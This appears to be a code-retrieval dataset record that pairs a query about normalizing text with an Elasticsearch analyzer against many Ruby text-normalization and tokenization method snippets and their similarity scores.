"def norm_text(text)\n text.to_s.strip.gsub(/\\s+/,' ').\n gsub(/(RuntimeException|RelationShip|ValueObject|OperationNotSupportedException)/, '`\\1`')\nend",
"def normalize!(string, options = {})\n unify_voiced_katakana!(string)\n normalize_charwidth!(string, options)\n end",
"def tenderize(text)\n return text if @preserve_case\n if /[a-z]/ =~ text\n text\n else\n text.downcase.gsub(/\\b\\w/) { $&.upcase }\n end\n end",
"def normalize(text)\n normalized = text.gsub(\" '\",\" \").gsub(\"' \",\" \")\n normalized.delete! \".\" \",\" \"(\" \")\" \";\" \"!\" \":\" \"?\" \"\\\"\"\n normalized.downcase.split\nend",
"def normalize; end",
"def normalize_synonyms(text_string)\n text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(W)\\.\\s/, \" West \")\n #ext_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\nend",
"def pre_normalize(text)\n text = text.to_s.downcase\n text.gsub!(/\\b(\\d{1,2})\\.(\\d{1,2})\\.(\\d{4})\\b/, '\\3 / \\2 / \\1')\n text.gsub!(/\\b([ap])\\.m\\.?/, '\\1m')\n text.gsub!(/(\\s+|:\\d{2}|:\\d{2}\\.\\d+)\\-(\\d{2}:?\\d{2})\\b/, '\\1tzminus\\2')\n text.gsub!(/\\./, ':')\n text.gsub!(/([ap]):m:?/, '\\1m')\n text.gsub!(/'(\\d{2})\\b/) do\n number = $1.to_i\n\n if Chronic::Date::could_be_year?(number)\n Chronic::Date::make_year(number, options[:ambiguous_year_future_bias])\n else\n number\n end\n end\n text.gsub!(/['\"]/, '')\n text.gsub!(/,/, ' ')\n text.gsub!(/^second /, '2nd ')\n text.gsub!(/\\bsecond (of|day|month|hour|minute|second|quarter)\\b/, '2nd \\1')\n text.gsub!(/\\bthird quarter\\b/, '3rd q')\n text.gsub!(/\\bfourth quarter\\b/, '4th q')\n text.gsub!(/quarters?(\\s+|$)(?!to|till|past|after|before)/, 'q\\1')\n text = Numerizer.numerize(text)\n text.gsub!(/\\b(\\d)(?:st|nd|rd|th)\\s+q\\b/, 'q\\1')\n text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n text.gsub!(/(?:^|\\s)0(\\d+:\\d+\\s*pm?\\b)/, ' \\1')\n text.gsub!(/\\btoday\\b/, 'this day')\n text.gsub!(/\\btomm?orr?ow\\b/, 'next day')\n text.gsub!(/\\byesterday\\b/, 'last day')\n text.gsub!(/\\bnoon|midday\\b/, '12:00pm')\n text.gsub!(/\\bmidnight\\b/, '24:00')\n text.gsub!(/\\bnow\\b/, 'this second')\n text.gsub!('quarter', '15')\n text.gsub!('half', '30')\n text.gsub!(/(\\d{1,2}) (to|till|prior to|before)\\b/, '\\1 minutes past')\n text.gsub!(/(\\d{1,2}) (after|past)\\b/, '\\1 minutes future')\n text.gsub!(/\\b(?:ago|before(?: now)?)\\b/, 'past')\n text.gsub!(/\\bthis (?:last|past)\\b/, 'last')\n text.gsub!(/\\b(?:in|during) the (morning)\\b/, '\\1')\n text.gsub!(/\\b(?:in the|during the|at) (afternoon|evening|night)\\b/, '\\1')\n text.gsub!(/\\btonight\\b/, 'this night')\n text.gsub!(/\\b\\d+:?\\d*[ap]\\b/,'\\0m')\n text.gsub!(/\\b(\\d{2})(\\d{2})(am|pm)\\b/, '\\1:\\2\\3')\n text.gsub!(/(\\d)([ap]m|oclock)\\b/, '\\1 \\2')\n text.gsub!(/\\b(hence|after|from)\\b/, 'future')\n text.gsub!(/^\\s?an? /i, '1 ')\n text.gsub!(/\\b(\\d{4}):(\\d{2}):(\\d{2})\\b/, '\\1 / \\2 / \\3') # DTOriginal\n text.gsub!(/\\b0(\\d+):(\\d{2}):(\\d{2}) ([ap]m)\\b/, '\\1:\\2:\\3 \\4')\n text\n end",
"def normalize\n end",
"def normalize(type); end",
"def normalize(input, doctype = T.unsafe(nil), entity_filter = T.unsafe(nil)); end",
"def analyze(phrase)\n @words.classify(phrase.split(/[^\\w']/)).max_class\n end",
"def preprocess_text data\n parse_formatted_text data\n end",
"def normalize(incoming_str)\n if normalizer\n return normalizer.call(incoming_str)\n end\n\n str = incoming_str\n str = str.downcase\n str = str.gsub(/[^a-z0-9]/, \" \")\n # squish whitespace\n str = str.gsub(/\\s+/, \" \").strip\n str\n end",
"def nice_typography(text)\n widont(amp(rubypants(text)))\n end",
"def normalize_phrase phrase\n\t\tphrase.to_s.downcase\n\tend",
"def normalize\n return self unless @text\n return self if @normalized # TODO eliminate duplicate normalization\n\n @text = normalize_comment @text\n\n @normalized = true\n\n self\n end",
"def pre_normalize(text)\n text.gsub!(/\\b(quarters?)\\b/, '<=\\1=>') # workaround for Numerizer\n text.gsub!(/\\b\\s+third\\b/, ' 3rd')\n text.gsub!(/\\b\\s+fourth\\b/, ' 4th')\n text = Numerizer.numerize(text)\n text.gsub!(/<=(quarters?)=>/, '\\1')\n text\n end",
"def diacritize_text(text)\n text = text.strip\n seq = preprocess_text(text)\n\n # initialize onnx computation\n # redundancy caused by batch processing of nnets\n ort_inputs = {\n 'src' => [seq]*@batch_size,\n 'lengths' => [seq.length]*@batch_size\n }\n\n # onnx predictions\n preds = predict_batch(ort_inputs)[0]\n\n reconcile_strings(\n text,\n combine_text_and_haraqat(seq, preds)\n )\n end",
"def pre_tokenize(text)\n normalized_text = text.gsub(/^every\\s\\b/, '')\n normalized_text = text.gsub(/^each\\s\\b/, '')\n normalized_text = text.gsub(/^on the\\s\\b/, '')\n normalized_text.downcase\n end",
"def normalize(str) \n str.gsub(/\\W/, '').upcase #.gsub(/\\s(\\d+)\\s/, '')\n end",
"def string_normalizer(string)\n string.downcase.gsub(/[^0-9a-z ]/i, '')\n end",
"def normalize\n input.upcase\n end",
"def analysis\n @str = params[:text] ||= '解析対象の文字列'\n @words = Tag.counter(Tag.generate(@str))\n end",
"def mltify_text text\n \n coder = HTMLEntities.new\n text = coder.decode text\n text = sanitize( text, okTags = \"\" )\n text = coder.encode text\n words = text.downcase.gsub( /[^A-za-z0-9\\s'\\-#]/, \" \" ).split( /\\s/ )\n \n final_words = []\n words.each do |w|\n unless stop_words.include? w\n final_words << w\n end\n end\n RAILS_DEFAULT_LOGGER.info final_words.join( ' ' ).squish\n final_words.join( ' ' ).squish\n end",
"def analyze(text, analysis_params)\n request(:get, \"_analyze\") do |req|\n req.body = { text: text }.merge(analysis_params)\n end\n end",
"def normalize!; end",
"def normalize_friendly_id(text)\n text.to_s.to_slug.normalize.to_s\n end",
"def analyze(text, analysis_params)\n request(:get, \"_analyze\", analysis_params) do |req|\n req.body = text\n end\n end",
"def text_similarity(text,other_model)\n other_model.text_commonality(text) / text_commonality(text)\n end",
"def normalize(name); end",
"def analyze phrase\n\t\t@meaningful_words = meaningful_words(phrase, \" \")\n\tend",
"def normalization_program\n puts normalize(prompt_and_get_input_from_user)\nend",
"def normalize(str) return str.upcase end",
"def replace_type_string(mapping, field)\n if (mapping.has_key?(\"analyzer\")) # analyzer -> text\n mapping[\"type\"] = \"text\"\n else # no analyzer\n if (mapping.has_key?(\"index\")) # index\n case (mapping[\"index\"])\n when \"analyzed\" # index.analyzed -> text\n mapping[\"type\"] = \"text\"\n when \"not_analyzed\" # index.not_analyzed -> keyword \n mapping[\"type\"] = \"keyword\"\n when \"no\" # index.no -> text\n mapping[\"type\"] = \"text\"\n end\n else\t\t\t\t# no alalezer and no index -> in field keyword, otherwise text\n if field\n mapping[\"type\"] = \"keyword\"\n else\n mapping[\"type\"] = \"text\"\n end\n end\n end\n end",
"def entities(text)\n return Typogruby.entities(text.to_s)\n end",
"def preprocess(text)\n text = text.downcase\n .gsub('.', ' .')\n words = text.split(' ')\n\n word_to_id = {}\n id_to_word = {}\n\n words.each do |word|\n unless word_to_id.include?(word)\n new_id = word_to_id.length\n word_to_id[word] = new_id\n id_to_word[new_id] = word\n end\n end\n\n corpus = Numo::NArray[*words.map { |w| word_to_id[w] }]\n\n [corpus, word_to_id, id_to_word]\nend",
"def weight(text)\n weight = @emphasis[:multiplier]\n\n if text.length >= @emphasis[:long_words_threshold]\n weight *= @emphasis[:long_words]\n end\n\n if text[0,1] == text[0,1].upcase\n weight *= @emphasis[:upper_case]\n end\n\n weight += vowels(text)\n weight += consonants(text)\n weight\n end",
"def normalize_friendly_id(text)\n text.to_s.to_slug.normalize.to_s\n end",
"def normalize(input, entities = T.unsafe(nil), entity_filter = T.unsafe(nil)); end",
"def normalize! page\n mediawiki = text page\n html = text_wikimedia_html page\n norm_mediawiki = normalize_text mediawiki, html, page\n if mediawiki != norm_mediawiki\n write! page, norm_mediawiki\n else\n pp %Q{normalize! page #{page} already normalized}\n end\n norm_mediawiki\n end",
"def normalized; end",
"def preprocess(input)\n\n tmp = String.new(input)\n output = Hash.new\n\n #print \"tmp is '#{tmp}' and its gsub is '#{tmp.gsub(/[^a-zA-Z ]/, ' ')}'\"\n\n tmp.gsub(/[^a-zA-Z ]/, ' ').split.each do |word|\n stem = word.downcase.stem\n next if stem.length < 3\n output[stem] ||= 0\n output[stem] += 1\n end\n\n return output\n end",
"def norm_term( t )\n t.sub( @lead_squote, RSQMARK ).\n gsub( @term_rejects, UNDERSCORE )\n end",
"def normalized_words\n self.split(/\\s+/).map { |word|\n Iconv.iconv('ascii//translit//ignore', 'utf-8', word).first.downcase.gsub(/\\W/,'')\n }.\n delete_if(&:empty?).\n map { |word|\n \"**#{word}\"\n }\n end",
"def analyze\n analyze_text\n @analyzed = true\n nil\n end",
"def text_commonality(text)\n probability_of_ngrams(common_ngrams_from_text(text))\n end",
"def morph_words\n words = @query.split(/[^a-zA-Z0-9]/)\n morphed_words = words.map{|word| [word,Text::Metaphone.double_metaphone(word)]}\n morphed_words\n end",
"def unnormalize(string, entities = T.unsafe(nil), filter = T.unsafe(nil)); end",
"def get_string_normalization_options\n\t\tdic = @db::Dictionary.where(:title => @dic_name).first\n\t\treturn { lowercased: dic[:lowercased], hyphen_replaced: dic[:hyphen_replaced], stemmed: dic[:stemmed] } if dic.present?\n\tend",
"def stem_token_deviance( filter_count=nil )\n list = get_all_tokens_deviance( filter_count ).map! {|e| e[1] }\n return Stat.stem( Stat.recode_float(list, [0.0..1.0,1.0..2.0,2.0..3.0,3.0..4.0,4.0..5.0,5.0..6.0,6.0..7.0] ) )\n\n\t#list = get_all_tokens_deviance.map! {|e| e[1] }\n\t#return Stat.stem( Stat.recode_float(list, [0.0..1.0,1.0..2.0,2.0..3.0,3.0..4.0,4.0..5.0,5.0..6.0,6.0..7.0] ) )\n\n end",
"def normalize\n self.strip_accents.upcase.gsub(/[']+/, '').gsub(/[^A-Z0-9\\s]+/, ' ').gsub(/\\s+/, ' ').strip.to_s\n end",
"def standardize\n strip_and_squeeze.\n ampersands_into_text.\n into_ampersand_if_second_to_last.\n remove_indian_languages.\n remove_screening_details.\n replace_non_film_prefix.\n remove_newlines.\n remove_dates.\n title_case\n to_s\n end",
"def stem(data)\n if data\n words = data.split(/[+,_]|%20/) # split on '+', '_', or '%20'\n tokens = []\n\n words.each do |word|\n tokens.push(Lingua.stemmer(word, :language => \"en\"))\n end\n\n tokens.join(\",\")\n else\n \"Error: need input\"\n end\n end",
"def normalize!\n end",
"def split_normalise(text)\n text.downcase.gsub(/[^a-z]/, ' ').gsub(\"'\", '').split\nend",
"def search_term\n return StringFunctions.cn_normalize(query_param) if browsing_call_numbers?\n\n query_param.normalize_em\n end",
"def type *params\n raise_without_self \"Parameters are not specified!\", HOWT if params.empty?\n params = params[0]\n unless params.is_a?(Hash) && params.size > 0\n raise_without_self \"Invalid parameters. Should be Text or Fuzzy Search parameters!\", HOWT\n end\n\n # reduce short form to full\n params = {@text_default => params.keys[0], :text => params.values[0]} if params.size == 1\n\n\n # parse full form\n opt = OpenStruct.new(:control_text => nil)\n value = params[:text]\n parse_metric params, opt\n\n raise_without_self \"Value cannot be 'nil'\", HOWT unless value\n\n return @adapter.type(opt, value.to_s)\n end",
"def make_terms(text, lang)\n if !text\n return []\n end\n \n text = clean_text(text)\n\n # Turn non-breaking spaces into spaces. This is more complex than it should be, \n # due to Ruby version and platform character encoding differences\n # In particular Windows always seems to read as IBM437 encoding\n if RUBY_VERSION < \"1.9\"\n text.gsub!(/\\302\\240/,' ') \n else\n text.gsub!(\"\\u00A0\", \" \") # turn non-breaking spaces (UTF-8) into spaces \n end\n\n text = downcase_l(text,lang)\n\n # cleanups on Cable and Warlogs data\n text.gsub!(\"&\",\"\") # data has some HTML apostrophe mess, clean it up\n text.gsub!(\"amp;\",\"\")\n text.gsub!(\"apos;\",\"'\")\n text.gsub!(\"''\",\"'\") # double '' to single '\n text.gsub!(/<[^>]*>/, '') # strip things inside HTML tags\n\n # allow only a small set of characters\n text.tr!('\"()[]:,',' ') # turn certain punctation into spaces\n text = strippunct_l(text, lang) # remove anything not in the language charset (helps with OCR junk)\n text.gsub!(/\\s\\s*/, ' ') # collapse runs of spaces into single spaces\n\n terms = text.split(' ')\n terms.map!{ |t| t.sub(/^[^a-z0-9]+/,'').sub(/[^a-z0-9]+$/,'') } # remove leading/trailing punctuation\n \n # Now scan through the term list and spit out ungrams, bigrams\n termsout = []\n \n while t = terms.shift\n \n # look for a bigram starting with t\n if terms.length && terms[0] != nil\n t2 = terms[0]\n bigram = t + \"_\" + t2\n if @bigrams.include?(bigram)\n termsout << bigram\n #puts bigram\n next\n end\n end\n \n # DISABLED stemming, for easier installation (stemmer gem not req'd) js 21/2/2012\n # no bigram here, stem the individual term, output if it's \"acceptable\"\n #if @stem_terms \n # t = t.stem\n #end\n \n if term_acceptable(t)\n termsout << t\n end\n \n end\n \n return termsout\n end",
"def process\n tokenize(text).each do |word|\n token = TfIdfSimilarity::Token.new word\n if token.valid?\n @term_counts[token.lowercase_filter.classic_filter.to_s] += 1\n end\n end\n @size = term_counts.values.reduce(:+)\n end",
"def unique_words(text)\n normalize(text).uniq\nend",
"def unique_words(text)\n normalize(text).uniq\nend",
"def format_input(text)\n\t\ttext.downcase.gsub(' ', '').gsub('\\\\', '') \n\tend",
"def analyze content\n unless content.respond_to? :split\n raise ArgumentError, \"#{content.class} has no #split\"\n end\n content.split(/\\s/).map {|w| @stemmer.stem w }\n end",
"def normalize( value )\n value\n end",
"def process_text(text)\n regexp = /(?:\\s|^|>)(?<word>(\\w{0,3}|[-–—]|\\&ndash\\;|\\&mdash\\;|aboard|about|above|across|after|against|along|amid|among|anti|around|before|behind|below|beneath|beside|besides|between|beyond|concerning|considering|despite|down|during|except|excepting|excluding|following|from|inside|into|like|minus|near|onto|opposite|outside|over|past|plus|regarding|round|save|since|than|that|this|through|toward|towards|under|underneath|unlike|until|upon|versus|with|within|without)(?<space>\\s))/i\n text.gsub(regexp).each { |m| \"#{m[0..-2]} \" }\n end",
"def normalize_whitespace(text)\n text.to_s.gsub(/[[:space:]]+/, ' ').strip\n end",
"def normalize(word)\n return word.downcase.split(//).sort.to_s\nend",
"def classify(text)\n positive_value = 1\n neutral_value = 1\n negative_value = 1\n\n word = text.split(/\\W+/)\n word = word.drop(1) if word.first == ''\n word.each_with_index { |_, i|\n find_instances(word[i])\n positive_value *= ((((positive_polarity.to_f/positive_population.to_f).to_f) * ((positive_polarity).to_f))/word_pop)\n negative_value *= ((((negative_polarity.to_f/negative_population.to_f).to_f) * ((negative_polarity).to_f))/word_pop)\n neutral_value *= ((((neutral_polarity.to_f/neutral_population.to_f).to_f) * ((neutral_polarity).to_f))/word_pop)\n }\n total_counter(negative_value, neutral_value, positive_value)\n\n rescue => error\n puts error.backtrace\n\n end",
"def normalized\n @original.downcase\n end",
"def normalize!\n end",
"def normalize_essence_type(essence_type)\n essence_type = essence_type.classify\n return essence_type if is_an_essence?(essence_type)\n\n \"Alchemy::#{essence_type}\"\n end",
"def normalize_essence_type(essence_type)\n essence_type = essence_type.classify\n return essence_type if is_an_essence?(essence_type)\n\n \"Alchemy::#{essence_type}\"\n end",
"def normalize_essence_type(essence_type)\n essence_type = essence_type.classify\n return essence_type if is_an_essence?(essence_type)\n\n \"Alchemy::#{essence_type}\"\n end",
"def format(text)\n text.to_s.downcase.gsub(UNWANTED_CHARACTERS, \"\")\n end",
"def word_freq(text)\n frequency = {}\n unique_words(text).each do |word|\n frequency[word] = 0\n end\n split_normalise(text).each do |word|\n frequency[word] += 1\n end\n frequency\nend",
"def analyze_text(text)\n hash = Hash.new(Array.new)\n text_array = text.split(/\\s/)\n text_array.each_with_index do |word, i|\n break if i == (text_array.length - 1)\n hash[word] += [text_array[i + 1]]\n end\n hash\n end",
"def widont(text)\n return Typogruby.widont(text.to_s)\n end",
"def parse(text)\n text = pre_proccess(text)\n text = pre_normalize(text)\n puts text.inspect if Chronic.debug\n\n tokens = Tokenizer::tokenize(' ' + text + ' ')\n tag(tokens, options)\n\n puts \"+#{'-' * 51}\\n| #{tokens}\\n+#{'-' * 51}\" if Chronic.debug\n\n token_group = TokenGroup.new(tokens, definitions(options), @now, options)\n span = token_group.to_span\n\n guess(span, options[:guess]) if span\n end",
"def analyse_string(text)\n current_words = Array.new(depth)\n text_array = split_text_to_array(text)\n until text_array.empty?\n next_word = text_array.shift\n add_words(current_words.dup, next_word)\n current_words.push next_word\n current_words.shift\n end\n end",
"def sanitize(text)\n sanitized_text = text.dup\n\n # Strip URLs\n sanitized_text.gsub!(URL_REGEX, '')\n\n # Strip @mention style tokens\n sanitized_text.gsub!(MENTION_REGEX, '')\n\n sanitized_text\n end",
"def basic_stem\n # undo some euphonic changes so that we can recover\n # the basic stem\n form = @first_form.sub(/(?:μμαι)$/,'πμαι') # palatal\n form = form.sub(/(?:σμαι)$/,'τμαι') # dental\n form = form.sub(/(?:ουμαι)$/,'εομαι') # future contracted deponents\n\n # now remove the ending\n form.sub(/(?:ω|ον|α|ομαι|μαι|ην)$/,'')\n end",
"def normalize(word)\n UnicodeUtils.downcase(word.strip)\n end",
"def extrapolate(text)\n case @type\n when :prefix\n return text[@value.length..text.length]\n when :suffix\n return text[[email protected]]\n when :dual\n return text[@value[0].length..-@value[1].length-1]\n when :regex\n return self.match(text)\n end\n end"
] | [
"0.73205817",
"0.6839492",
"0.68088114",
"0.6375745",
"0.6182548",
"0.6111364",
"0.5863967",
"0.5733902",
"0.57050794",
"0.568171",
"0.5676616",
"0.5649358",
"0.5645117",
"0.5638745",
"0.5631783",
"0.56281304",
"0.5623601",
"0.56123704",
"0.5567301",
"0.5564268",
"0.55436486",
"0.5464927",
"0.545682",
"0.54521716",
"0.5399053",
"0.5387063",
"0.5386185",
"0.53829145",
"0.5377615",
"0.5370247",
"0.53612745",
"0.53611237",
"0.5357969",
"0.5340029",
"0.5287434",
"0.52608156",
"0.5254093",
"0.52279985",
"0.5224905",
"0.5224782",
"0.5223775",
"0.5223517",
"0.5209347",
"0.51744163",
"0.5169278",
"0.51628745",
"0.5162113",
"0.5158587",
"0.5110834",
"0.5095477",
"0.50820047",
"0.5071059",
"0.50588685",
"0.5058033",
"0.50259286",
"0.5010793",
"0.5006253",
"0.500623",
"0.5005497",
"0.49820718",
"0.4964913",
"0.4964888",
"0.49622288",
"0.49418798",
"0.4935569",
"0.49225155",
"0.49199504",
"0.4911533",
"0.491001",
"0.489527",
"0.4890447",
"0.4886989",
"0.48804507",
"0.4877954",
"0.4868222",
"0.48585138",
"0.4853724",
"0.4853724",
"0.48529837",
"0.4840368",
"0.4837879",
"0.48356083",
"0.48353934",
"0.48287374",
"0.48266557",
"0.482244",
"0.48210847",
"0.48198923",
"0.48198923",
"0.48198923",
"0.48198617",
"0.48133954",
"0.48072702",
"0.4806048",
"0.48006678",
"0.47839126",
"0.47777376",
"0.47743103",
"0.4762743",
"0.47625485"
] | 0.6819833 | 2 |
Get typographic and morphosyntactic normalization of an input text using an analyzer of ElasticSearch. (string) text Input text. | def normalize2(text, analyzer = nil)
Entry.normalize(text, normalizer2, analyzer)
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pre_normalize(text); end",
"def normalize1(text, analyzer = nil)\n\t\tEntry.normalize(text, normalizer1, analyzer)\n\tend",
"def normalize(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text = Numerizer.numerize(normalized_text)\n normalized_text.gsub!(/['\"\\.]/, '')\n normalized_text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n normalized_text\n end",
"def normalize(text) #:nodoc:\n normalized_text = text.to_s.downcase\n normalized_text = Numerizer.numerize(normalized_text)\n normalized_text.gsub!(/['\"\\.]/, '')\n normalized_text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n normalized_text.gsub!(/\\btoday\\b/, 'this day')\n normalized_text.gsub!(/\\btomm?orr?ow\\b/, 'next day')\n normalized_text.gsub!(/\\byesterday\\b/, 'last day')\n normalized_text.gsub!(/\\bnoon\\b/, '12:00')\n normalized_text.gsub!(/\\bmidnight\\b/, '24:00')\n normalized_text.gsub!(/\\bbefore now\\b/, 'past')\n normalized_text.gsub!(/\\bnow\\b/, 'this second')\n normalized_text.gsub!(/\\b(ago|before)\\b/, 'past')\n normalized_text.gsub!(/\\bthis past\\b/, 'last')\n normalized_text.gsub!(/\\bthis last\\b/, 'last')\n normalized_text.gsub!(/\\b(?:in|during) the (morning)\\b/, '\\1')\n normalized_text.gsub!(/\\b(?:in the|during the|at) (afternoon|evening|night)\\b/, '\\1')\n normalized_text.gsub!(/\\btonight\\b/, 'this night')\n normalized_text.gsub!(/(?=\\w)([ap]m|oclock)\\b/, ' \\1')\n normalized_text.gsub!(/\\b(hence|after|from)\\b/, 'future')\n normalized_text = numericize_ordinals(normalized_text)\n end",
"def normalize_text(text)\n letters = text.upcase.split ''\n letters.delete_if { |x| ! @table[0].include?(x) }\n letters.join ''\n end",
"def normalize(string); end",
"def tokenize_text(text)\n data = Doc.new(text)\n featurize(data)\n classify(data)\n return data.segment\n end",
"def normalizer; end",
"def tokenize_text(text)\n data = Doc.new(text)\n featurize(data)\n classify(data)\n return data.segment\n end",
"def analyze_raw(txt)\n stem_freq = {}\n stem_lead = {}\n \n returning Hash.new(0) do |dict|\n txt.downcase.split(/[\\s,;!\\?]+/).each do |w|\n # Apply some custom rejection conditions\n next if skip_word?(w)\n # strip non-words chars\n w.gsub!(/[\"\\(\\)\\.]+/, '')\n dict[w] += 1\n end\n\n # Peform stemming analysis\n dict.each do |w, freq|\n @stems[w] ||= @stemmer.stem(w)\n (stem_freq[@stems[w]] ||= {})[w] = freq\n end\n \n stem_freq.each_key do |stem|\n #puts \"Analyzing stem #{stem}\"\n total_freq = 0\n lead_freq = 0\n lead_word = \"\"\n \n #puts \"stems => #{stem_freq[stem].inspect}\"\n stem_freq[stem].each do |word, freq|\n total_freq += freq\n if freq > lead_freq\n lead_word = word\n lead_freq = freq\n end\n end\n #puts \"lead word => #{lead_word} (#{total_freq})\"\n stem_lead[lead_word] = total_freq\n end\n # Replace word frequency hash with leading stem frequency hash\n dict = stem_lead\n end\n end",
"def normalize(text)\n normalized = text.gsub(\" '\",\" \").gsub(\"' \",\" \")\n normalized.delete! \".\" \",\" \"(\" \")\" \";\" \"!\" \":\" \"?\" \"\\\"\"\n normalized.downcase.split\nend",
"def norm_text(text)\n text.to_s.strip.gsub(/\\s+/,' ').\n gsub(/(RuntimeException|RelationShip|ValueObject|OperationNotSupportedException)/, '`\\1`')\nend",
"def normalize( text )\n text.gsub(/\\s/,'').gsub(/[[:punct:]]/, '').gsub(/\\p{S}/,'').downcase\nend",
"def normalize(text)\n text.downcase.gsub(\"'\",\"\").gsub(/[^a-z ]/, ' ').split\nend",
"def normalize_synonyms(text_string)\n text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(W)\\.\\s/, \" West \")\n #ext_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\n #text_string.gsub(/\\s(Av|Ave|av|ave)\\.\\s/, \" Avenue \")\nend",
"def normalize(text)\n text.downcase.split(\"\").map! {|i| i if ('a'..'z').include?(i) || i == \" \"}.join.split(\" \")\nend",
"def preprocess_text(text)\n\n # Warn user if text exceeds max_length.\n if text.length > @max_length\n text = text[0..@max_length]\n warn(\"WARNING:: string cut length > #{@max_length}:\\n\")\n warn('text:: '+text)\n end\n\n text = @encoder.clean(text)\n text = remove_diacritics(text)\n\n # correct expected length for vectors with 0's\n @encoder.input_to_sequence(text)\n end",
"def normalize(slug_text)\n s = slug_text.clone\n s.gsub!(/[\\?‘’'“”\",.;:]/, '')\n s.gsub!(/\\W+/, ' ')\n s.strip!\n s.downcase!\n s.gsub!(/\\s+/, '-')\n s.gsub(/-\\Z/, '')\n end",
"def normalize\n return self unless @text\n return self if @normalized # TODO eliminate duplicate normalization\n\n @text = normalize_comment @text\n\n @normalized = true\n\n self\n end",
"def morph_words\n words = @query.split(/[^a-zA-Z0-9]/)\n morphed_words = words.map{|word| [word,Text::Metaphone.double_metaphone(word)]}\n morphed_words\n end",
"def improve(text)\n return Typogruby.improve(text.to_s)\n end",
"def mltify_text text\n \n coder = HTMLEntities.new\n text = coder.decode text\n text = sanitize( text, okTags = \"\" )\n text = coder.encode text\n words = text.downcase.gsub( /[^A-za-z0-9\\s'\\-#]/, \" \" ).split( /\\s/ )\n \n final_words = []\n words.each do |w|\n unless stop_words.include? w\n final_words << w\n end\n end\n RAILS_DEFAULT_LOGGER.info final_words.join( ' ' ).squish\n final_words.join( ' ' ).squish\n end",
"def pre_normalize(text)\n text = text.to_s.downcase\n text.gsub!(/\\b(\\d{1,2})\\.(\\d{1,2})\\.(\\d{4})\\b/, '\\3 / \\2 / \\1')\n text.gsub!(/\\b([ap])\\.m\\.?/, '\\1m')\n text.gsub!(/(\\s+|:\\d{2}|:\\d{2}\\.\\d+)\\-(\\d{2}:?\\d{2})\\b/, '\\1tzminus\\2')\n text.gsub!(/\\./, ':')\n text.gsub!(/([ap]):m:?/, '\\1m')\n text.gsub!(/'(\\d{2})\\b/) do\n number = $1.to_i\n\n if Chronic::Date::could_be_year?(number)\n Chronic::Date::make_year(number, options[:ambiguous_year_future_bias])\n else\n number\n end\n end\n text.gsub!(/['\"]/, '')\n text.gsub!(/,/, ' ')\n text.gsub!(/^second /, '2nd ')\n text.gsub!(/\\bsecond (of|day|month|hour|minute|second|quarter)\\b/, '2nd \\1')\n text.gsub!(/\\bthird quarter\\b/, '3rd q')\n text.gsub!(/\\bfourth quarter\\b/, '4th q')\n text.gsub!(/quarters?(\\s+|$)(?!to|till|past|after|before)/, 'q\\1')\n text = Numerizer.numerize(text)\n text.gsub!(/\\b(\\d)(?:st|nd|rd|th)\\s+q\\b/, 'q\\1')\n text.gsub!(/([\\/\\-\\,\\@])/) { ' ' + $1 + ' ' }\n text.gsub!(/(?:^|\\s)0(\\d+:\\d+\\s*pm?\\b)/, ' \\1')\n text.gsub!(/\\btoday\\b/, 'this day')\n text.gsub!(/\\btomm?orr?ow\\b/, 'next day')\n text.gsub!(/\\byesterday\\b/, 'last day')\n text.gsub!(/\\bnoon|midday\\b/, '12:00pm')\n text.gsub!(/\\bmidnight\\b/, '24:00')\n text.gsub!(/\\bnow\\b/, 'this second')\n text.gsub!('quarter', '15')\n text.gsub!('half', '30')\n text.gsub!(/(\\d{1,2}) (to|till|prior to|before)\\b/, '\\1 minutes past')\n text.gsub!(/(\\d{1,2}) (after|past)\\b/, '\\1 minutes future')\n text.gsub!(/\\b(?:ago|before(?: now)?)\\b/, 'past')\n text.gsub!(/\\bthis (?:last|past)\\b/, 'last')\n text.gsub!(/\\b(?:in|during) the (morning)\\b/, '\\1')\n text.gsub!(/\\b(?:in the|during the|at) (afternoon|evening|night)\\b/, '\\1')\n text.gsub!(/\\btonight\\b/, 'this night')\n text.gsub!(/\\b\\d+:?\\d*[ap]\\b/,'\\0m')\n text.gsub!(/\\b(\\d{2})(\\d{2})(am|pm)\\b/, '\\1:\\2\\3')\n text.gsub!(/(\\d)([ap]m|oclock)\\b/, '\\1 \\2')\n text.gsub!(/\\b(hence|after|from)\\b/, 'future')\n text.gsub!(/^\\s?an? /i, '1 ')\n text.gsub!(/\\b(\\d{4}):(\\d{2}):(\\d{2})\\b/, '\\1 / \\2 / \\3') # DTOriginal\n text.gsub!(/\\b0(\\d+):(\\d{2}):(\\d{2}) ([ap]m)\\b/, '\\1:\\2:\\3 \\4')\n text\n end",
"def preprocess_text data\n parse_formatted_text data\n end",
"def normalize; end",
"def entities(text)\n return Typogruby.entities(text.to_s)\n end",
"def analyze(text, analysis_params)\n request(:get, \"_analyze\") do |req|\n req.body = { text: text }.merge(analysis_params)\n end\n end",
"def preprocess(text)\n text = text.downcase\n .gsub('.', ' .')\n words = text.split(' ')\n\n word_to_id = {}\n id_to_word = {}\n\n words.each do |word|\n unless word_to_id.include?(word)\n new_id = word_to_id.length\n word_to_id[word] = new_id\n id_to_word[new_id] = word\n end\n end\n\n corpus = Numo::NArray[*words.map { |w| word_to_id[w] }]\n\n [corpus, word_to_id, id_to_word]\nend",
"def analysis\n @str = params[:text] ||= '解析対象の文字列'\n @words = Tag.counter(Tag.generate(@str))\n end",
"def normalize(str) return str end",
"def normalize\n end",
"def analyze(text, analysis_params)\n request(:get, \"_analyze\", analysis_params) do |req|\n req.body = text\n end\n end",
"def text_similarity(text,other_model)\n other_model.text_commonality(text) / text_commonality(text)\n end",
"def pre_tokenize(text)\n normalized_text = text.gsub(/^every\\s\\b/, '')\n normalized_text = text.gsub(/^each\\s\\b/, '')\n normalized_text = text.gsub(/^on the\\s\\b/, '')\n normalized_text.downcase\n end",
